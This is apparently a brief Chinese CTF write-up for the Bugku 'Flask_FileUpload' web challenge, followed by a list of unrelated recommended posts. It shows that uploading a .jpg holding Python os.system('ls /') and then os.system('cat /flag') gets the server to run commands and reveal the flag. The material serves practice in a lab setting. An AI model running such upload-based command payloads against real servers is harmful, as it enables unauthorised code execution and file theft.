Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
子兮曰10 分钟前
PHP漏洞危机，你的网站升级了吗?jerrywus10 分钟前
给 Pi 装上生图插件：从登录报错到画出一只 200×200 的猫陈随易16 分钟前
搞钱点子之生态鱼缸PBitW21 分钟前
从空目录到上线：我全程用 TRAE 做了一款微信小游戏合集（含一次完整架构重构）不爱学英文的码字机器26 分钟前
从Q1迁到T1，同一个编号已经换了含义云和数据.ChenGuang36 分钟前
光哥说Python 循环导入（Circular Import）深度解析：成因、排查与解决方案avi911140 分钟前
【AI教人】在Inspector显示所有Delegate-Odin Inspector之三TomEval1 小时前
【测AI】第16篇：模型公平性与可解释性测试 — AI 的偏见与黑箱fengci.1 小时前
BUUCTF(困难部分)Ward的AI产品实战1 小时前
开源 AI 网关 Magpie 调优终结篇：顺位排错、跨家族对抗审查与 5 大路由组重构（下篇）